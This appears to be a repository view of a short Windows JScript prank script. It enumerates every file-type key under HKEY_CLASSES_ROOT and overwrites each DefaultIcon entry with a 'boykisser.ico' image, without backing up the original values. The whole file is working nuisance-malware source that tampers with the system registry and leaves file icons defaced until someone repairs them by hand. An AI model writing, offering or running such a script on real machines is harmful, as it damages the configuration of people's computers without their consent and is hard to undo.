Files

48 lines
1.3 KiB
JavaScript

var shell = WScript.CreateObject('WScript.Shell');
var fso = WScript.CreateObject('Scripting.FileSystemObject')
function getDir(path){
return path.split('\\').slice(0, -1).join('\\');
}
function isRegExists(regParam){
try{
shell.RegRead(regParam);
return true;
}catch(e){
return false;
}
}
function getKeys(){
var HKCR = 2147483648;
var objService = GetObject('winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default');
var objReg = objService.Get('StdRegProv');
var objMethod = objReg.Methods_.Item('EnumKey');
var objParamsIn = objMethod.InParameters.SpawnInstance_();
objParamsIn.hDefKey = HKCR;
objParamsIn.sSubKeyName = '';
var objParamsOut = objReg.ExecMethod_(objMethod.Name, objParamsIn);
if(objParamsOut.ReturnValue === 0){
if(objParamsOut.sNames != null){
return objParamsOut.sNames.toArray();
}
}
}
var regKs = getKeys();
for(var i in regKs){
var key = 'HKCR\\'+regKs[i];
if(isRegExists(key+'\\DefaultIcon\\')){
WScript.Echo('kissing: '+key);
try{
shell.RegWrite(key+'\\DefaultIcon\\', getDir(WScript.ScriptFullName)+'\\boykisser.ico,0', 'REG_SZ');
}catch(e){
WScript.Echo('failed: '+key);
}
}
}